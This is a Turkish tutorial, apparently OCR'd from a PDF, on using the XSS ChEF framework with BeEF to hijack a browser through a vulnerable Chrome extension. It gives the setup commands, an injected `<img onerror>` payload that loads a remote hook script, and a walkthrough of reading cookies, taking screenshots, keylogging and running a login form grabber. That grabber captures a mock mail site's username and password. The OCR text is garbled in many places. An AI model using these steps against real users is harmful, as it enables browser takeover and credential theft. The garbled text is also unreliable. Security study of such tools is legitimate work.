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Xss zafiyetlerini exploit ederken genelde Beef(The Browser Exploitation Framework) araci
kullanilmaktadir. Fakat ek araglar da bize bu siiregte olduk¢a kolaylik saglamaktadir. Bunlardan
birisi de Beef ile birlikte kullanabileceginiz XSS Chef(Chrome Extension Exploitation Framework)

aracidir.
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Kisaca Chef ?

Zafiyet barindiran Chrome extension'u tarayiciya ekledikten sonra uygulama igerisinde Dom-Based
Xss caligtirarak kurban tarayiciy1 Chef ile rahatlikla yonetebiliyoruz.

Chef ile Neler Yapabiliriz?

*Tab yonetimi

*Biitiin tablarda JS ¢alistirmak(Global Xss)
*HTML kaynak kodlarin1 incelemek

*Cookie yazmak/okumak

*Browser ge¢cmisini manipiile etmek

*Kurbanin bilgisayarindan ekran goriintiisii almak
*BeEF ile entegrasyon

*Keylogger

Caligma mantigina goz atalim,
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Diagrami inceledigimizde Xss Chef'in 3 ana par¢adan olustugunu gérmekteyiz.
Sunucu, Konsol ve Victim hooks.

Sunucu burada Http&websockets ile konsol(saldirgan)'a baglidir ve Chrome extension sayesinde
kurban ve saldirgan arasinda devamli bir baglant1 kurulur.

Xss Chef ile bunu 3 sekilde yapabilirsiniz:

*PHP/XHR
*PHP/WebSockets
*Nodejs/Websockets.

Biz Nodejs'i tercih edecegiz. Peki neden NodelJS ?

http://www.webrazzi.com/2012/08/23/engine-yard-node-js/

Incelemenizde fayda var.


http://www.webrazzi.com/2012/08/23/engine-yard-node-js/

[lk olarak https://github.com/koto/xsschef adresinden dosyalar1 “ /opt/lampp/htdocs/xsschef/
klasori altina indiriyoruz. Daha sonra NodeJs'i kurmamiz gerekiyor.

Nodejs kurulumu i¢in asagidaki yonergeleri izleyin.

. sudo apt-get update

. sudo apt-get install git-core curl build-essential openssl libssl-dev
. Download source from http://nodejs.org/#download to ~/Downloads/src
. ¢d Downloads/src

. tar xv{z .tar.gz

.cd

. ./configure

. make

9. sudo make install

10. node -v

11.cd

12. curl http://npmjs.org/install.sh| sudo
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Linux konsoldan

$ npm install websocket

yaparak websocket'i kuruyoruz.

Eger kurulum basariyla gerceklestiyse
$ node server.js

yazarak nodejs uygulamasini baglatiyoruz.



v Terminal - + ¥
Dosya Dizenle Gorindm Ara Ugbirim Yardim
vren@evren-b0x

evren@evren-b0x node serwver.js

Warning: MNative modules not compiled. XOR performance will be degraded.

Warning: Native modules not compiled. UTF-8 validation disabled.

XSS ChEF server L3

by Krzysztof Kotowicz - kkotowicz at gmail dot com

Usage: node server.js [port=8080]

Communication is logged to stderr, use node serwver.js [port] 2=log.txt
Sep 13 2012 05:58:55 GMT+0300 (EEST) ChEF server is listening on <all-interf
Sep 13 2012 05:58:55 GMT=0300 (EEST) Console URL: http://127.0.0.1:8080/
Sep 13 2012 05:58:55 GMT+0300 (EEST) Hook URL: http://127.0.0.1:8080/hook

Sep 13 2012 05:58:56 GMT+0300 (EEST) WebSocket connection accepted.
hook c330090 from 127.0.0.1

Hata mesaj1 almadiysaniz http://127.0.0.1:8080/adresinden konsola ulagabilirsiniz.

not:
Uygulama “Linux Mint 13 Maya”da test edilmistir.
Nodejs siiriimii : v.0.0.8

Ayarlar Uzantilar ) Geligtirici modu
Paketlenmemis uzantiy) yikle... Uzantiyi paketle... Uzantilan simdi glincelle
Temel Bilgiler ! ChEF vulnerable extension example (TodoList) 1.0 (Paketienmemis) v Etkin | Kaidir
. . B r A simple todo list in HTMLS with localStorage, vulnerable to XSS. Use to test ChEF. Forked from
Kigisel Odeler s

BeEF - hitp://besfproject.com/

Faliemic Qaranaklar

Sunucu tarafini basariyla kurdugumuza gore simdi Xss zafiyeti barindiran Chrome Extension'u
tarayiciya yiikliiyoruz.

chrome://settings/extensions adresinden kurulu Chrome extensionlari listeliyoruz. “paketlenmemis
uzantiy1 yiikle” kismindan vulnerable chrome extention 'u tarayiciya yiikliiyoruz.


chrome://settings/extensions

HTMLS Todo App

Add a task here and hit enter

3

2d from

| Etkin K.aldir

Daha sonra tarayiciya yiikledigimiz Chrome extension'in i¢ine asagidaki saldir1 vektoriinii
kaydediyoruz.

<img src=x onerror="if(location.protocol.indexOf('chrome"')==0)
{d=document;e=createElement('script');e.src="http://localhost:8080/hook.php';d.body.append Child(
e)}">

Saldirgan ve kurban arasindaki baglantiy1 bu kod pargasi sayesinde kurmus olduk.



Choose hooked session

Each hook below represents single browser session that X553 has been activated in. Chose one you'd like to
exploit:

choose. ..
330000 (c330090) - 127.0.0.1 2012-00-13T03:22:59. 21872

Cancel Choose hook

“choose hooked session” tusuna tiklayarak browser session'u se¢iyoruz. Artik kurban tarayiciy1
yonetebiliriz.



Info Commands HTML

Get cookies etc.

URL http:iflecalhost:8080/console htmi?ws_host=localhost: B0OB0

Cookies
Cookies wihttpOnly

localStorage

"Info" tabindan Get cookies tusuna bastigimizda URL, Cookies ve LocalStorage bilgisi
gelmektedir.

Info Commands HTML

Set focus @ Eal Screenshot @ Hook BeEF

Eval

Choose code snippet...

Evali Eval cutside sandbox {experimental, blind) €

“Commands” tabindan Screenshot alabilir, Hook Beef 6zelligini kullanabilir ve ¢esitli kod
orneklerini calistirabilirsiniz.



Info Commands HTML

Get HTML

You should have received a copy of the GNU General Public License
along with this program. If not, see <http:/iwww.gnu.crglicenses/>.

—

<gcript src="bootstrap/js/jguery .min js"></script>

<script src="bootstrap/js/bootstrap.min js"></script=

<title>XSS ChEF console</title>

<link rel="stylesheet” type="text/css" href="bootstrap/css/bootstrap. min.css™>

<style>

hS {

margin-top: 1em;

margin-bottom: 0.5em;

H

input {

padding: 0;

H

body {

padding-top: 50px;

H

#logo { H
min-height: 170px; .
background: url{bootstrapiimg/xss-chef-medium.png) right 20px no-repeat;

Links (click to navigate in tatif}

+ hitp:/localhost: 8080/ console html?ws_host=localhost: 8080#about-modal

+ http:/flocalhost:B080/console. htmi?ws _host=localhost: 8080#readme-modal

+ hitp:/localhost: 8080/ console html?ws_host=localhost: 8080hook-modal

+ http:/localhost:3080/console. htmi?ws _host=localhost: B0B0#saved-screenshots-modal
« htto:/localhost:8080/console html?ws  host=localhost: 8080

"Html" tabindan Get Html diyerek sayfanin kaynak kodlarina ulasabilirsiniz. Ayrica mevcut tab
icerisinde bulunan linkleri de listelemektedir.



Manage Results log

Persistent scripts are scripts that are run on hooked browser tabs on every page load if the URL matches given regexp.
Active scripts

Add persistent script
Name
legin form grabber

Launch this code:

login form grabber ¥

When tab URL matches
Enter Javascript RegExp

_| Run now for existing tabs

Add script

"Persistent scripts' tabinda login grabber, login form grabber gibi kod 6rneklerini kullanabilir
veya kendi kod orneklerini olusturabilirsiniz.

Not: __logScript(script_name,object); fonksiyonunu kullanarak sonuc¢lar: geri dondiirebiliyoruz.

Regex kullanarak URL eslestirmesi yapabilirsiniz. “Add script” tusuna tikladiginizda sonuglari
"Result log" tabindan takip edebilirsiniz.



Manage Results log

Hook
Script
Date name URL
=2012-09- ¢307523 hitps:Mogin live comflogin. srf?

14T15:00:55.2427" login wa=wsignin1.08ct=134 76348428 ver=6.1.6206.08s5a=1 &ntprob=-18&wp=MBI_S5L_SHARED&wreply=https: % 2F%2Fmail live.com®

form

Sonuglar, date, Hook Script name, Url, Result olarak geri donecektir.

Hook ID cH07523
Extension URL chrome-extension:/fjdmpogenanhkicnack cghphk flimimbf/background. html
Permissions
Cookies
lecalSterage
Extension HTML <head></head:<body ></body >

""Hooked extention info' tabina baktigimizda Hookid , yani kurbanin tarayicinda ¢alisan
extension'nin bilgilerini goriiyoruz. . Burada dikkat etmemiz gereken nokta tarayici izinleridir.

{ "origins": [ "" ], "permissions": [ "cookies", "history", "management", "proxy", "tabs" ] }
not: ayrintili bilgi icin manifesto dosyasint inceleyin.

LocalStorage alaninda ise uygulamada ¢alisan Xss zafiyetini gormekteyiz.



M Fix server Ping 4 Active tab screenshot

Create new tab

Ewval

search history ¥

zee extension APl docs

Eval @

“Extention Commands” tabinda Active Tab screenshot tusunu kullanarak kurban tarayicidan ekran
goriintiisii alabilirsiniz. "Create new tab" alanindan kurban tarayici da tab acabilirsiniz.

Eval kisminda ise ¢esitli kod 6rneklerini kullanabilir veya kendiniz olusturabilirsiniz.

Xss ChEF'i biraz tamdigimiza gore kiiciik bir 6rnek yapalim.

Hedef: x mail hizmeti
Kullanacagimiz 6zellik : Persistent scripts
Sonug : kullanici bilgilerini elde etmek.

Konsoldan “Persistent Scripts” tabina geciyoruz.

“Name” alanina hedefmail.com yazalim.
“Launch this code” alaninda login form grabber'1 se¢iyoruz. Daha sonra URL i¢in hedefmail.com'a
ufak bir regex yaziyoruz. ““ “https://hedefmail.com/”


https://hedefmail.com/

Bu parola hatali. hedefmail hesabinizin parolasini
kullandi§inizdan emin olun.

hedef hesabi Bu nedir?

Oturumumu agik birak

Hesabiniza erigemiyor musunuz?

Tek kullamimlik kodla oturum agin

hedefmail.com i¢in kaydolun

hedefmail'den modern e-posta onizlemesi

Hedefmail hesabiniz yok mu? Simdi kaydolun

Eger kurban tarayici hedefmail.com'dan giris yaparsa Chef sonuglar1 “results log” tabina
yansitacaktir.

"elements": [ { "name": "login", "value": "USERNAME" }, { "name": "passwd", "value":
"PASSWORD"

“Result” tabindan baktiginizda kullanict adini ve parolay1 agik bir sekilde gorebiliyoruz.

Kaynaklar:
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https://www.owasp.org/index.php/DOM_Based XSS
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